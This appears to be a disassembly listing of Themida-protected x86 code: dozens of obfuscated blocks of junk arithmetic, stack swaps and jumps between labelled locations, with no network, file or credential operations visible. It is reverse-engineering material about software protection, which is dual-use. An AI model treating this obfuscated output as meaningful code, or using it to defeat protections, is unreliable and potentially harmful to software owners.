loc_5A3AEC:				; CODE XREF: Themida_:005A4033j
		not	edx
		inc	edx
		xor	edx, 76485065h
		sub	edx, 60B39C52h
		sub	eax, edx
		pop	edx
		jmp	loc_598D48
; ---------------------------------------------------------------------------


loc_5A3B03:				; CODE XREF: Themida_:0059A749j
		inc	esi
		jmp	loc_5A35DA
; ---------------------------------------------------------------------------


loc_5A3B09:				; CODE XREF: Themida_:0059381Cj
		push	ebx
		mov	bl, 0F7h
		push	bx
		sub	byte ptr [esp],	1
		jmp	loc_590CA7
; ---------------------------------------------------------------------------


loc_5A3B17:				; CODE XREF: Themida_:00593BC8j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	ecx, al
		jmp	loc_5A205E
; ---------------------------------------------------------------------------


loc_5A3B2B:				; CODE XREF: Themida_:005A3DA4j
		pop	ebp
		add	ebp, 4
		jmp	loc_594FF2
; ---------------------------------------------------------------------------


loc_5A3B37:				; CODE XREF: Themida_:005923A7j
		add	esp, 4
		push	6994h
		mov	[esp], ebx
		push	6448h
		jmp	loc_59AFB4
; ---------------------------------------------------------------------------


loc_5A3B4C:				; CODE XREF: Themida_:0059E0F6j
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_59831E
; ---------------------------------------------------------------------------


loc_5A3B5B:				; CODE XREF: Themida_:005A4562j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	21C9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 5C245F3Ah
		push	edi
		mov	edi, 66DA0089h
		sub	edi, 463B9308h
		sub	ecx, edi
		jmp	loc_595D02
; ---------------------------------------------------------------------------


loc_5A3B88:				; CODE XREF: Themida_:00598CA7j
		add	dword ptr [esp], 4
		pop	edx
		push	ebp
		mov	ebp, 893031Ah
		jmp	loc_594E0B
; ---------------------------------------------------------------------------


loc_5A3B9B:				; CODE XREF: Themida_:0059FECAj
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		push	esi
		push	edi
		jmp	loc_5A1CFA
; ---------------------------------------------------------------------------


loc_5A3BA7:				; CODE XREF: Themida_:005A56EBj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	5135h
		mov	[esp], ebp
		jmp	loc_5A25AF
; ---------------------------------------------------------------------------


loc_5A3BBB:				; CODE XREF: Themida_:0059A106j
		add	dh, 1Eh
		add	bl, dh
		pop	edx
		mov	edx, [esp]
		jmp	loc_5A2273
; ---------------------------------------------------------------------------


loc_5A3BC9:				; CODE XREF: Themida_:0059DF21j
		push	edi
		mov	edi, 47C57331h
		and	edi, 29D679FAh
		add	edi, 0F5A0EBFh
		inc	edi
		neg	edi
		not	edi
		jmp	loc_5A1B02
; ---------------------------------------------------------------------------


loc_5A3BE5:				; CODE XREF: Themida_:0059F17Bj
		add	esp, 4
		xor	[esp+4], ebx
		jmp	loc_59FC11
; ---------------------------------------------------------------------------


loc_5A3BF4:				; CODE XREF: Themida_:00593A65j
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_5A39A8
		push	6B52h
		jmp	loc_594F75
; ---------------------------------------------------------------------------


loc_5A3C0F:				; CODE XREF: Themida_:005A2EEFj
		push	ebp
		mov	ebp, 41A13446h
		inc	ebp
		add	ebp, 5CEC37D2h
		sub	ebp, 55E85177h
		sub	ebx, ebp
		jmp	loc_59F3B7
; ---------------------------------------------------------------------------


loc_5A3C29:				; CODE XREF: Themida_:005941E5j
		push	dword ptr [esp]
		jmp	loc_595D08
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A3C3B:				; CODE XREF: Themida_:005A0112j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_594AE2
; ---------------------------------------------------------------------------


loc_5A3C4E:				; CODE XREF: Themida_:0059D8C8j
		sub	ebp, 2
		jmp	loc_59EEAC
; ---------------------------------------------------------------------------


loc_5A3C56:				; CODE XREF: Themida_:0059AA5Bj
		pop	ebx
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	ecx
		push	eax
		push	edi
		jmp	loc_5990E2
; ---------------------------------------------------------------------------


loc_5A3C7B:				; CODE XREF: Themida_:0059847Fj
		pop	ecx
		jmp	loc_59178C
; ---------------------------------------------------------------------------


loc_5A3C81:				; CODE XREF: Themida_:0059A6ABj
		mov	[esp], eax
		jmp	loc_599D81
; ---------------------------------------------------------------------------


loc_5A3C89:				; CODE XREF: Themida_:0059697Bj
		xor	ebx, edi
		jmp	loc_5947AC
; ---------------------------------------------------------------------------


loc_5A3C90:				; CODE XREF: Themida_:005A39FFj
		pop	esi
		xor	esi, 73B503F6h
		pop	eax
		jmp	loc_5A0349
; ---------------------------------------------------------------------------


loc_5A3C9D:				; CODE XREF: Themida_:00596A57j
		mov	ecx, edi
		jmp	loc_59C1CE
; ---------------------------------------------------------------------------


loc_5A3CA4:				; CODE XREF: Themida_:0059418Aj
		mov	ch, bh
		jmp	loc_597253
; ---------------------------------------------------------------------------


loc_5A3CAB:				; CODE XREF: Themida_:005972D6j
		pop	ebp
		xor	ebp, 50473A0Fh
		jmp	loc_5A2A4D
; ---------------------------------------------------------------------------


loc_5A3CB7:				; CODE XREF: Themida_:005A3509j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A3CBC:				; CODE XREF: Themida_:00590FD9j
		pop	ecx
		jmp	loc_59C86C
; ---------------------------------------------------------------------------


loc_5A3CC2:				; CODE XREF: Themida_:005A2D6Cj
		pop	ecx
		jmp	loc_594641
; ---------------------------------------------------------------------------


loc_5A3CC8:				; CODE XREF: Themida_:00598081j
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5925C6
; ---------------------------------------------------------------------------


loc_5A3CF1:				; CODE XREF: Themida_:005A3890j
		sub	[esp+4], eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4FDB1CD3h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 753D35D1h
		sub	edi, 5CB4395Bh
		inc	edi
		not	edi
		add	edi, 1
		shr	edi, 3
		xor	edi, 698C5E72h
		add	edi, 0DDD89AADh
		push	ebp
		push	ebx
		mov	ebx, 16968E3h
		jmp	loc_5949CA
; ---------------------------------------------------------------------------


loc_5A3D3A:				; CODE XREF: Themida_:00598AC0j
		mov	edx, 6CEA25E8h
		shr	edx, 3
		not	edx
		shl	edx, 1
		and	edx, 2151550Eh
		xor	edx, 189B5B71h
		push	ecx
		mov	ecx, 5F155150h
		xor	edx, ecx
		pop	ecx
		add	ebx, edx
		pop	edx
		xor	ebx, 854FB103h
		jmp	loc_59EF82
; ---------------------------------------------------------------------------


loc_5A3D69:				; CODE XREF: Themida_:0059204Cj
		and	ebp, ecx
		pop	ecx
		xor	ebp, 4287F3Eh
		sub	ebp, 95C34050h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_593EC4
; ---------------------------------------------------------------------------


loc_5A3D83:				; CODE XREF: Themida_:005A0218j
		sub	ebp, ecx
		pop	ecx
		add	eax, 38F0F90h
		push	esi
		mov	esi, 6D2D0FEFh
		jmp	loc_59E1FA
; ---------------------------------------------------------------------------


loc_5A3D96:				; CODE XREF: Themida_:00599CCFj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		jmp	loc_5A3B2B
; ---------------------------------------------------------------------------


loc_5A3DA9:				; CODE XREF: Themida_:00592C04j
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		jmp	loc_5A27AF
; ---------------------------------------------------------------------------


loc_5A3DBA:				; CODE XREF: Themida_:005A0F55j
		mov	edi, 4
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_59A29A
; ---------------------------------------------------------------------------


loc_5A3DEA:				; CODE XREF: Themida_:005A33A3j
		sub	esi, edi
		pop	edi
		sub	eax, esi
		pop	esi
		push	edi
		mov	edi, 23B43336h
		dec	edi
		shl	edi, 4
		jmp	loc_5906D4
; ---------------------------------------------------------------------------


loc_5A3DFF:				; CODE XREF: Themida_:00595B70j
		mov	esp, [esp]
		jmp	loc_5A1E84
; ---------------------------------------------------------------------------


loc_5A3E07:				; CODE XREF: Themida_:005A1123j
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 11DC27A2h
		inc	edx
		and	edx, 0E4F4466h
		jmp	loc_5A4F2D
; ---------------------------------------------------------------------------


loc_5A3E22:				; CODE XREF: Themida_:00592FC0j
		add	esi, edx
		pop	edx
		push	ebp
		jmp	loc_5A40F4
; ---------------------------------------------------------------------------


loc_5A3E2B:				; CODE XREF: Themida_:00595C16j
		add	edx, 4
		jmp	loc_59C4E6
; ---------------------------------------------------------------------------


loc_5A3E36:				; CODE XREF: Themida_:00598B53j
		sub	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A4F46
; ---------------------------------------------------------------------------


loc_5A3E45:				; CODE XREF: Themida_:0059922Fj
		mov	esi, 68F09D3h
		push	72ADh
		jmp	loc_59A706
; ---------------------------------------------------------------------------


loc_5A3E54:				; CODE XREF: Themida_:005A2373j
		add	ebp, 2E3A50B3h
		shl	ebp, 7
		jmp	loc_59FFAF
; ---------------------------------------------------------------------------


loc_5A3E62:				; CODE XREF: Themida_:0059CA5Fj
		pop	ebp
		push	ebx
		mov	ebx, 1A1B4C92h
		add	ebx, 0FFFFFFFFh
		jmp	loc_594C6B
; ---------------------------------------------------------------------------


loc_5A3E74:				; CODE XREF: Themida_:00599471j
		push	ebp
		mov	ebp, 3D202FE0h
		add	ebx, ebp
		pop	ebp
		sub	eax, ebx
		pop	ebx
		shl	eax, 7
		jmp	loc_595540
; ---------------------------------------------------------------------------


loc_5A3E88:				; CODE XREF: Themida_:0059DF91j
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		push	esp
		jmp	loc_592114
; ---------------------------------------------------------------------------


loc_5A3EC0:				; CODE XREF: Themida_:0059D5C7j
		mov	dl, 99h
		sub	ch, 9Fh
		add	ch, dl
		add	ch, 9Fh
		mov	dx, [esp]
		add	esp, 2
		push	ebx
		mov	bh, 3Ah
		neg	bh
		add	bh, 13h
		or	ch, bh
		pop	ebx
		jmp	loc_5A1EC2
; ---------------------------------------------------------------------------


loc_5A3EE1:				; CODE XREF: Themida_:00594DDEj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_59604F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		jmp	loc_590961
; ---------------------------------------------------------------------------


loc_5A3EFE:				; CODE XREF: Themida_:0059E145j
		mov	ecx, 20E20D72h
		push	ecx
		xchg	ebx, [esp]
		not	ebx
		jmp	loc_59A621
; ---------------------------------------------------------------------------


loc_5A3F0E:				; CODE XREF: Themida_:00597ECEj
		mov	[esp], esi
		mov	esi, 49B97556h
		push	edx
		jmp	loc_590FDE
; ---------------------------------------------------------------------------


loc_5A3F1C:				; CODE XREF: Themida_:0059A7F1j
		not	edi
		xor	edi, 0E6CACA7Bh
		mov	ecx, edi
		pop	edi
		mov	esi, 0E078EB80h
		jmp	loc_5A2C16
; ---------------------------------------------------------------------------


loc_5A3F31:				; CODE XREF: Themida_:005A3362j
		push	dword ptr [esp]
		jmp	loc_5999FF
; ---------------------------------------------------------------------------


loc_5A3F39:				; CODE XREF: Themida_:005A3F6Aj
		or	ebx, 4C5946BBh
		jmp	loc_596A78
; ---------------------------------------------------------------------------


loc_5A3F44:				; CODE XREF: Themida_:0059D749j
		pop	edi
		push	ebx
		jmp	loc_5957B4
; ---------------------------------------------------------------------------


loc_5A3F4B:				; CODE XREF: Themida_:00591277j
		add	eax, 3CE37E3Eh
		jmp	loc_597C65
; ---------------------------------------------------------------------------


loc_5A3F55:				; CODE XREF: Themida_:00597043j
		mov	ebx, 271F5550h
		add	esi, ebx
		pop	ebx
		or	esi, 256E7293h
		dec	esi
		push	ebx
		mov	ebx, 7B853DC8h
		jmp	loc_5A3F39
; ---------------------------------------------------------------------------


loc_5A3F6F:				; CODE XREF: Themida_:005A0AB1j
		sub	dh, bh
		jmp	loc_597DD2
; ---------------------------------------------------------------------------


loc_5A3F76:				; CODE XREF: Themida_:005A4E9Dj
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59CDBE
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5A18C3
; ---------------------------------------------------------------------------


loc_5A3F92:				; CODE XREF: Themida_:00599EDEj
		dec	ch
		xor	ch, 53h
		push	ax
		jmp	loc_590645
; ---------------------------------------------------------------------------


loc_5A3F9E:				; CODE XREF: Themida_:0059DE52j
		mov	bl, 4Bh
		push	ecx
		mov	ch, 80h
		add	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		mov	ah, bl
		mov	ebx, [esp]
		add	esp, 4
		and	ah, 0B3h
		jmp	loc_595E1B
; ---------------------------------------------------------------------------


loc_5A3FBE:				; CODE XREF: Themida_:005A0195j
		sub	esp, 4
		mov	[esp], esi
		push	edi
		push	1E6D43A1h
		pop	edi
		sub	edi, 0E760105h
		add	edi, 19531CC0h
		mov	esi, edi
		pop	edi
		xor	eax, esi
		pop	esi
		add	esi, eax
		pop	eax
		push	ecx
		mov	ecx, 2
		jmp	loc_59E0C2
; ---------------------------------------------------------------------------


loc_5A3FEB:				; CODE XREF: Themida_:0059D2A7j
		add	esp, 4
		jmp	loc_5A471C
; ---------------------------------------------------------------------------


loc_5A3FF6:				; CODE XREF: Themida_:005926CCj
		add	al, 11h
		push	edx
		jmp	loc_5990D1
; ---------------------------------------------------------------------------


loc_5A3FFE:				; CODE XREF: Themida_:0059F552j
		sub	al, 8Ah
		pop	edx
		push	ecx
		push	ebx
		mov	bh, 1Ch
		jmp	loc_59EABE
; ---------------------------------------------------------------------------


loc_5A400A:				; CODE XREF: Themida_:005A375Dj
		push	501h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5A1B5C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A402A:				; CODE XREF: Themida_:0059C601j
		push	edx
		mov	edx, 74014765h
		shr	edx, 6
		jmp	loc_5A3AEC
; ---------------------------------------------------------------------------


loc_5A4038:				; CODE XREF: Themida_:0059099Cj
		add	edi, 47223193h
		pop	edx
		push	esi
		mov	esi, 4
		jmp	loc_591240
; ---------------------------------------------------------------------------


loc_5A404A:				; CODE XREF: Themida_:0059BACBj
		xchg	edi, [esp]
		pop	esp
		pop	ebp
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_59C4BE
; ---------------------------------------------------------------------------


loc_5A4059:				; CODE XREF: Themida_:0059FB4Aj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5A0C66
; ---------------------------------------------------------------------------


loc_5A4072:				; CODE XREF: Themida_:005A1E9Dj
		mov	esp, [esp]
		xchg	edi, [esp]
		jmp	loc_5978EB
; ---------------------------------------------------------------------------


loc_5A407D:				; CODE XREF: Themida_:0059C76Cj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 3E593BFFh
		sub	ebp, 1E8E39D3h
		jmp	loc_595251
; ---------------------------------------------------------------------------


loc_5A409E:				; CODE XREF: Themida_:005931A6j
		sub	eax, 5244A79h
		push	ecx
		mov	ecx, 73EC11EAh
		xor	eax, ecx
		jmp	loc_5905A6
; ---------------------------------------------------------------------------


loc_5A40B0:				; CODE XREF: Themida_:00592108j
		xor	dl, 0A8h
		add	al, dl
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	cl, 0CDh
		shr	cl, 2
		xor	cl, 58h
		shl	cl, 3
		sub	cl, 0FFh
		dec	cl
		push	eax
		mov	ah, 9Fh
		add	cl, 69h
		sub	cl, ah
		jmp	loc_597698
; ---------------------------------------------------------------------------


loc_5A40D9:				; CODE XREF: Themida_:00594B2Aj
		push	edx
		mov	edx, 344B40A1h
		jmp	loc_591367
; ---------------------------------------------------------------------------


loc_5A40E4:				; CODE XREF: Themida_:0059B33Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59C339
; ---------------------------------------------------------------------------


loc_5A40F4:				; CODE XREF: Themida_:005A3E26j
		mov	ebp, 32413E22h
		shr	ebp, 5
		add	ebp, 1DFD3842h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, esi
		sub	ebx, 1F8F4233h
		jmp	loc_5A3012
; ---------------------------------------------------------------------------


loc_5A411A:				; CODE XREF: Themida_:0059E393j
		add	esp, 4
		push	esi
		mov	esi, 9144D2Bh
		push	ecx
		mov	ecx, 1E3C5B8Ch
		inc	ecx
		jmp	loc_592620
; ---------------------------------------------------------------------------


loc_5A412F:				; CODE XREF: Themida_:00590A2Cj
		sub	ebp, edi
		pop	edi
		add	ebp, 20D0641Ah
		push	ecx
		mov	ecx, 0A657193Fh
		jmp	loc_5A4450
; ---------------------------------------------------------------------------


loc_5A4143:				; CODE XREF: Themida_:005917FDj
		mov	[esp], ecx
		push	6FEDh
		mov	[esp], esp
		jmp	loc_5A028E
; ---------------------------------------------------------------------------


loc_5A4153:				; CODE XREF: Themida_:00592A94j
		add	eax, 5D8D2EC8h
		sub	eax, esi
		sub	eax, 5D8D2EC8h
		add	eax, 1E220A3Dh
		mov	esi, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 0C602F52h
		shr	edi, 7
		not	edi
		jmp	loc_5A036A
; ---------------------------------------------------------------------------


loc_5A417A:				; CODE XREF: Themida_:005908CFj
		pop	eax
		add	edi, ebp
		sub	edi, 1C2E5E81h
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5909FD
; ---------------------------------------------------------------------------


loc_5A418C:				; CODE XREF: Themida_:00597349j
		sub	ecx, 7020B8Ch
		add	ecx, edi
		add	ecx, 7020B8Ch
		push	dword ptr [ecx]
		jmp	loc_592944
; ---------------------------------------------------------------------------


loc_5A41A1:				; CODE XREF: Themida_:00596783j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A3947
; ---------------------------------------------------------------------------


loc_5A41B4:				; CODE XREF: Themida_:005A1CBCj
		pop	esi
		jmp	loc_5A05C3
; ---------------------------------------------------------------------------


loc_5A41BA:				; CODE XREF: Themida_:00593F4Ej
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5A0412
; ---------------------------------------------------------------------------


loc_5A41C5:				; CODE XREF: Themida_:00595231j
		shr	esi, 5
		jmp	loc_593D3A
; ---------------------------------------------------------------------------


loc_5A41CD:				; CODE XREF: Themida_:005996EBj
		push	dword ptr [esp]
		pop	edx
		push	37D6h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6A336FECh
		inc	esi
		inc	esi
		shr	esi, 2
		push	ecx
		jmp	loc_593747
; ---------------------------------------------------------------------------


loc_5A41F1:				; CODE XREF: Themida_:00590761j
		mov	[esp], ebp
		mov	ebp, 155E4288h
		jmp	loc_5A1BAC
; ---------------------------------------------------------------------------


loc_5A41FE:				; CODE XREF: Themida_:0059CF21j
		add	ch, 91h
		push	ax
		mov	ah, 9Ah
		add	ch, 90h
		jmp	loc_5A1DA9
; ---------------------------------------------------------------------------


loc_5A420D:				; CODE XREF: Themida_:0059ECE1j
		pop	ebx
		jmp	loc_59AE95
; ---------------------------------------------------------------------------


loc_5A4213:				; CODE XREF: Themida_:0059CB11j
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_59F51E
; ---------------------------------------------------------------------------


loc_5A4222:				; CODE XREF: Themida_:0059C95Bj
		push	56A9h
		mov	[esp], ebx
		mov	ebx, 4
		push	ecx
		jmp	loc_595835
; ---------------------------------------------------------------------------


loc_5A4235:				; CODE XREF: Themida_:00598E65j
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 0E1682632h
		mov	eax, ecx
		pop	ecx
		jmp	loc_5952CB
; ---------------------------------------------------------------------------


loc_5A424E:				; CODE XREF: Themida_:00599356j
		sub	ebx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_599383
; ---------------------------------------------------------------------------


loc_5A4268:				; CODE XREF: Themida_:0059517Bj
		pop	dx
		sub	cl, ah
		sub	cl, 0B0h
		pop	ax
		and	cl, 0BEh
		push	edx
		mov	dl, 0BFh
		shr	dl, 7
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59CF1B
; ---------------------------------------------------------------------------


loc_5A4285:				; CODE XREF: Themida_:00598CC2j
		mov	dh, 0D4h
		push	bx
		mov	bh, 26h
		sub	dh, bh
		pop	bx
		inc	dh
		sub	dh, 0A5h
		sub	ch, dh
		mov	dx, [esp]
		jmp	loc_5A47D3
; ---------------------------------------------------------------------------


loc_5A429F:				; CODE XREF: Themida_:005A0E56j
		mov	edi, [esp]
		jmp	loc_5946E7
; ---------------------------------------------------------------------------


loc_5A42A7:				; CODE XREF: Themida_:00591349j
		mov	esi, 7F526137h
		or	esi, 2C283521h
		not	esi
		jmp	loc_593845
; ---------------------------------------------------------------------------


loc_5A42B9:				; CODE XREF: Themida_:005933C7j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A43A8
; ---------------------------------------------------------------------------


loc_5A42C8:				; CODE XREF: Themida_:00596D08j
		push	esi
		mov	esi, 4CC568C9h
		xor	esi, 6ECE3F84h
		sub	esi, 0FFF22562h
		add	ebx, esi
		pop	esi
		add	ebx, ebp
		sub	ebx, 221931EBh
		jmp	loc_5A2EEE
; ---------------------------------------------------------------------------


loc_5A42EA:				; CODE XREF: Themida_:005A5426j
		push	ebx
		push	14E5h
		jmp	loc_596B55
; ---------------------------------------------------------------------------


loc_5A42F5:				; CODE XREF: Themida_:005910B8j
		pop	esp
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		sub	edi, 4
		jmp	loc_59A4E3
; ---------------------------------------------------------------------------


loc_5A431D:				; CODE XREF: Themida_:005A3475j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	4942h
		mov	[esp], ecx
		push	6119h
		mov	[esp], eax
		push	199Dh
		jmp	loc_59D7BE
; ---------------------------------------------------------------------------


loc_5A433C:				; CODE XREF: Themida_:005973E0j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 7
		neg	ch
		jmp	loc_59EB18
; ---------------------------------------------------------------------------


loc_5A434F:				; CODE XREF: Themida_:005A4D31j
		mov	ebp, 231439EBh
		shl	ebp, 8
		add	ebp, 5F540316h
		and	ebp, 4284347Eh
		push	esi
		mov	esi, 42842414h
		sub	ebp, esi
		pop	esi
		add	esi, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 67101CD7h
		add	ebp, 98EFE32Dh
		add	ebx, ebp
		pop	ebp
		jmp	loc_59B241
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 29580308h
		mov	ecx, 4D322809h
		sub	ecx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 5A5A7B9Bh
		jmp	loc_5A185C
; ---------------------------------------------------------------------------


loc_5A43A8:				; CODE XREF: Themida_:005A42C3j
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 57DF3257h
		push	esi
		mov	esi, 57DF3253h
		sub	ebx, esi
		pop	esi
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_592CA4
; ---------------------------------------------------------------------------


loc_5A43D3:				; CODE XREF: Themida_:005927D4j
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 1E025917h
		dec	ebp
		jmp	loc_5941C7
; ---------------------------------------------------------------------------


loc_5A43EE:				; CODE XREF: Themida_:00591B78j
		sub	ebp, 661F4A59h
		sub	ebp, edi
		jmp	loc_59CB91
; ---------------------------------------------------------------------------


loc_5A43FB:				; CODE XREF: Themida_:00594DCDj
		mov	edx, [esp]
		jmp	loc_5A10C0
; ---------------------------------------------------------------------------


loc_5A4403:				; CODE XREF: Themida_:0059C8DFj
		mov	[esp], eax
		jmp	loc_591B1E
; ---------------------------------------------------------------------------


loc_5A440B:				; CODE XREF: Themida_:0059AC85j
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_59859E
; ---------------------------------------------------------------------------


loc_5A4419:				; CODE XREF: Themida_:0059F021j
		mov	edi, [esp]
		add	esp, 4
		push	3045h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_598338
; ---------------------------------------------------------------------------


loc_5A4437:				; CODE XREF: Themida_:00599881j
		push	ebx
		mov	ebx, 700317B8h
		push	edi
		push	ecx
		mov	ecx, 0F865120h
		inc	ecx
		xor	ecx, 135C0127h
		jmp	loc_591526
; ---------------------------------------------------------------------------


loc_5A4450:				; CODE XREF: Themida_:005A413Ej
		sub	ebp, ecx
		pop	ecx
		add	edx, ebp
		pop	ebp
		push	2817h
		mov	[esp], ebx
		jmp	loc_590FCE
; ---------------------------------------------------------------------------


loc_5A4463:				; CODE XREF: Themida_:005A2BDFj
		add	ebx, ebp
		pop	ebp
		push	7B27h
		mov	[esp], ebp
		push	ecx
		jmp	loc_5A51F5
; ---------------------------------------------------------------------------


loc_5A4474:				; CODE XREF: Themida_:00591970j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5907DC
; ---------------------------------------------------------------------------


loc_5A4480:				; CODE XREF: Themida_:0059BB29j
		push	esi
		push	edi
		mov	edi, 5C881A05h
		mov	esi, edi
		pop	edi
		sub	ebx, esi
		jmp	loc_596B03
; ---------------------------------------------------------------------------


loc_5A4491:				; CODE XREF: Themida_:0059C749j
		add	ebx, 34DC3C59h
		sub	ebx, 7FFE67CAh
		add	ebx, 1AF8356Eh
		and	ebx, 7EC9485Dh
		shr	ebx, 8
		push	edx
		mov	edx, 513E149Bh
		jmp	loc_590C46
; ---------------------------------------------------------------------------


loc_5A44B7:				; CODE XREF: Themida_:00594EC8j
		sub	[esp+4], ecx
		push	edi
		mov	edi, 2914706Bh
		add	[esp+8], edi
		pop	edi
		sub	dword ptr [esp+4], 4FE157EDh
		jmp	loc_59DDE8
; ---------------------------------------------------------------------------


loc_5A44D3:				; CODE XREF: Themida_:0059A32Cj
		mov	[esp], edx
		push	8A90CF6h
		pop	edx
		not	edx
		push	edx
		neg	dword ptr [esp]
		pop	edx
		jmp	loc_594DB2
; ---------------------------------------------------------------------------


loc_5A44E8:				; CODE XREF: Themida_:0059500Bj
		mov	ebx, [esp]
		jmp	loc_594ECD
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_5979F1
; ---------------------------------------------------------------------------


loc_5A44F7:				; CODE XREF: Themida_:0059F8B3j
		or	edi, 2950594Fh
		sub	edi, 8442DBA9h
		and	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ebx, 15022A33h
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, ebx
		push	ebx
		push	eax
		mov	eax, 1E962AD9h
		jmp	loc_5A1212
; ---------------------------------------------------------------------------


loc_5A452E:				; CODE XREF: Themida_:005A5310j
		dec	ecx
		not	ecx
		shl	ecx, 3
		sub	ecx, 78573116h
		jmp	loc_59C846
; ---------------------------------------------------------------------------


loc_5A453F:				; CODE XREF: Themida_:005A5654j
		mov	ebx, eax
		pop	eax
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		add	eax, 731C4B1Dh
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5A3B5B
; ---------------------------------------------------------------------------


loc_5A4567:				; CODE XREF: Themida_:00592784j
		push	eax
		mov	eax, 99F2EFFh
		xor	eax, 0E220EBDh
		push	ecx
		mov	ecx, 37E71D02h
		add	ecx, 479A1E23h
		add	ebx, ecx
		jmp	loc_5932C7
; ---------------------------------------------------------------------------


loc_5A4585:				; CODE XREF: Themida_:00594F16j
		push	ecx
		jmp	loc_5A3454
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0FFBE26E9h
